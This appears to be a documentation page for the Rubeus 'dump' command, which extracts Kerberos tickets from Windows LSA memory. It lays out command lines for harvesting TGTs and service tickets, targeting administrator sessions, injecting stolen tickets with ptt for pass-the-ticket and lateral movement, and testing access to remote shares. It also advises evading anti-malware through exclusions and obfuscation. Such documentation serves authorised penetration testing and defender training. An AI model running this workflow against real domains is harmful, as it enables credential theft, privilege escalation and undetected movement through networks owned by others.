Skip to main content
The dump command provides comprehensive Kerberos ticket extraction capabilities from system memory, supporting both targeted and bulk harvesting operations across user sessions.

Memory Extraction

Extract tickets directly from LSA memory structures

Multi-Session Support

Access tickets across all user sessions when elevated

Flexible Filtering

Target specific users, services, or session IDs

Export Ready

Base64-encoded output ready for injection or analysis

​
Overview

Extract all current Kerberos tickets from memory on the local system. This command provides comprehensive ticket harvesting capabilities, extracting both TGTs and service tickets for offline analysis and reuse.
  • Basic Syntax
  • Targeted Extraction
  • Output Options
# Basic ticket extraction
Rubeus.exe dump

# With filtering options
Rubeus.exe dump [/luid:LUID] [/user:username] [/service:servicename] [/server:servername] [/nowrap]

​
Parameters

  • Basic Operations
  • Targeted Extraction
  • Server Targeting
  • Session Management
# Dump all tickets for current user
Rubeus.exe dump

# System-wide extraction (elevated)
Rubeus.exe dump

# Unwrapped output for injection
Rubeus.exe dump /nowrap
  • Standard User
  • Elevated Context
  • SYSTEM Context

Available Operations

  • Extract current user tickets
  • Access current LUID only
  • View authenticated services
  • Export for analysis

Limitations

  • No other user sessions
  • No cross-LUID access
  • No system tickets
  • Limited session scope
Typical Extraction Scope:
  • User’s TGT (krbtgt ticket)
  • Service tickets for accessed resources
  • Cached authentication tickets
  • Current session credentials only
Use Cases:
  • Personal credential analysis
  • Current session assessment
  • Individual ticket extraction
  • Basic reconnaissance
  • Ticket Granting Tickets
  • Service Tickets
  • Special Tickets

TGT Characteristics

Service Pattern: krbtgt/DOMAIN.COMProperties:
  • Domain authentication proof
  • Service ticket request capability
  • Renewable based on policy
  • Session-specific encryption

Attack Value

Capabilities:
  • Request any domain service
  • Enable lateral movement
  • Support golden ticket creation
  • Facilitate pass-the-ticket
  • Output Structure
  • Ticket Metadata
  • Sample Output
  • Flag Analysis
​
Action Header
string
Indicates the operation being performedExamples:
  • [*] Action: Dump Kerberos tickets (Current User)
  • [*] Action: Dump Kerberos tickets (All Users)
  • [*] Action: Dump Kerberos tickets (LUID: 0x12345)
​
Current LUID
hex
Current process logon session identifierFormat: [*] Current LUID : 0x[hexvalue]Common Values:
  • 0x3e7 - SYSTEM session
  • 0x3e4 - NETWORK SERVICE
  • 0x3e5 - LOCAL SERVICE
​
Session Information
object
Authentication Details:
  • UserName - Account name (user, computer, service)
  • Domain - Authentication domain
  • LogonId - Session identifier (matches LUID)
  • UserSID - Security identifier
  • AuthenticationPackage - Kerberos, NTLM, etc.
  • LogonType - Interactive, Service, Network, etc.
  • LogonTime - Session establishment time
  • LogonServer - Authenticating domain controller
  • LogonServerDNSDomain - Domain FQDN
  • UserPrincipalName - UPN if available
1

Encryption Analysis

  • Modern Encryption
  • Legacy Encryption

AES256

Type: 0x12 - AES256-CTS-HMAC-SHA1-96Characteristics:
  • Strongest available encryption
  • Default in modern domains
  • FIPS 140-2 compliant
  • Preferred for security

AES128

Type: 0x11 - AES128-CTS-HMAC-SHA1-96Characteristics:
  • Strong encryption standard
  • Widely supported
  • Good performance balance
  • Acceptable for most environments
2

Timing Analysis

Validity Period Assessment:
  • Compare start/end times for anomalies
  • Check for unusually long durations
  • Identify renewable vs. non-renewable tickets
  • Look for post-dated or future tickets
Renewal Patterns:
  • Standard TGT: 10 hours validity, 7 days renewable
  • Service tickets: 10 hours validity, not renewable
  • Anomalous patterns may indicate attacks
3

Principal Analysis

Service Principal Patterns:
  • krbtgt/* - Ticket Granting Tickets
  • cifs/* - File sharing access
  • host/* - General host services
  • http/* - Web service access
  • Custom SPNs for specialized services
Client Principal Assessment:
  • User accounts: username@DOMAIN
  • Machine accounts: COMPUTER$@DOMAIN
  • Service accounts: service@DOMAIN
4

Flag Interpretation

  • Pass-the-Ticket
  • Intelligence Gathering
  • Persistence & Evasion
1

TGT Extraction & Reuse

# Extract all TGTs with clean output
Rubeus.exe dump /service:krbtgt /nowrap

# Extract from specific user session
Rubeus.exe dump /user:administrator /service:krbtgt /nowrap

# Extract from elevated session
Rubeus.exe dump /luid:0x12345 /service:krbtgt /nowrap
2

Service Ticket Reuse

# Extract specific service tickets
Rubeus.exe dump /service:cifs /server:fileserver.corp.local /nowrap
Rubeus.exe dump /service:http /server:web01.corp.local /nowrap
Rubeus.exe dump /service:ldap /server:dc01.corp.local /nowrap
3

Cross-Session Operations

Combine dump with session management for advanced scenarios
# Create new session context
Rubeus.exe createnetonly /program:cmd.exe

# Extract tickets from source session
Rubeus.exe dump /luid:0x[source] /nowrap

# Inject into new session
Rubeus.exe ptt /ticket:[BASE64] /luid:0x[target]
  • Detection Vectors
  • Evasion Strategies
  • Defensive Countermeasures
Rubeus dump operations can trigger multiple detection mechanisms
  • Access Issues
  • Data Issues
  • Output Issues
1

Privilege Problems

Symptoms:
  • “Access Denied” errors
  • Empty output despite tickets existing
  • LUID enumeration failures
Diagnosis:
# Check current privileges
whoami /priv

# Test with current user context
Rubeus.exe dump

# Verify LUID accessibility
Rubeus.exe logonsession
Solutions:
  • Run from elevated context
  • Use appropriate user session
  • Check process integrity level
  • Verify SeDebugPrivilege
2

Anti-Malware Interference

Common Indicators:
  • Process termination
  • API call blocking
  • Memory access failures
  • Behavioral detection alerts
Mitigation Approaches:
  • Use process exclusions
  • Implement custom obfuscation
  • Modify compilation parameters
  • Use alternative execution methods
1

Reconnaissance Phase

Initial Assessment:
# Quick ticket overview
Rubeus.exe triage

# Session enumeration
Rubeus.exe logonsession

# Current user tickets
Rubeus.exe klist
Target Identification:
  • Identify high-value sessions
  • Locate administrative accounts
  • Map available services
  • Assess delegation opportunities
2

Targeted Extraction

Strategic Harvesting:
# Extract valuable TGTs
Rubeus.exe dump /service:krbtgt /nowrap

# Service-specific extraction
Rubeus.exe dump /service:cifs /nowrap

# User-targeted operations
Rubeus.exe dump /user:administrator /nowrap
Documentation:
  • Record extraction timestamps
  • Note ticket validity periods
  • Document source sessions
  • Track service relationships
3

Analysis & Validation

Ticket Assessment:
# Detailed ticket analysis
Rubeus.exe describe /ticket:[base64]

# Encryption validation
# Flag interpretation
# Principal verification
Quality Control:
  • Verify ticket integrity
  • Check expiration times
  • Validate service principals
  • Assess encryption strength
4

Utilization & Testing

Ticket Injection:
# Inject extracted tickets
Rubeus.exe ptt /ticket:[base64]

# Verify injection success
Rubeus.exe klist

# Test access capabilities
dir \\target.domain.com\share
Operational Testing:
  • Validate service access
  • Test lateral movement
  • Confirm privilege levels
  • Document successful paths

Quick Enumeration

triage - Fast ticket overview and session mapping

Detailed Listing

klist - Comprehensive current ticket analysis

Ticket Analysis

describe - Deep ticket structure examination

Ticket Injection

ptt - Pass extracted tickets to sessions

Real-time Monitoring

monitor - Continuous ticket capture

Automated Collection

harvest - Systematic ticket harvesting